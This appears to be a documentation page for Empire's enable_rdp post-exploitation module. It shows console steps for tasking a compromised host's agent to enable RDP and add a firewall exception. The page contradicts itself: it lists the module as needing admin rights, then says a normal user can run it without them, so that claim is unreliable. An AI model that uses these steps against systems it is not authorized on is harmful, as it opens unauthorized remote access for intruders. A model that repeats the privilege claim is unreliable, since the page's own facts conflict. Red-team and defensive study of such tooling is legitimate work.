Enable-RDP - Empire Module


This page contains detailed information about how to use the powershell/management/enable_rdp Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Enable-RDP
Module: powershell/management/enable_rdp
Source code: empire/server/modules/powershell/management/enable_rdp.yaml
MITRE ATT&CK: T1076
Language: PowerShell
Needs admin: Yes
OPSEC safe: No
Background: No

The enable_rdp module enables RDP on the remote machine and adds a firewall exception.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the enable_rdp module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the enable_rdp module:

Agent
Agent to run module on.

Enable_rdp Example Usage

Here's an example of how to use the enable_rdp module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/management/enable_rdp

 Author       @harmj0y                                                         
 Background   False                                                            
 Description  Enables RDP on the remote machine and adds a firewall exception. 
 Language     powershell                                                       
 Name         powershell/management/enable_rdp                                 
 NeedsAdmin   True                                                             
 OpsecSafe    False                                                            
 Techniques   http://attack.mitre.org/techniques/T1076                         


,Record Options-,----------,-------------------------,
| Name  | Value | Required | Description             |
|-------|-------|----------|-------------------------|
| Agent |       | True     | Agent to run module on. |
'-------'-------'----------'-------------------------'

(Empire: usemodule/powershell/management/enable_rdp) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/management/enable_rdp) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.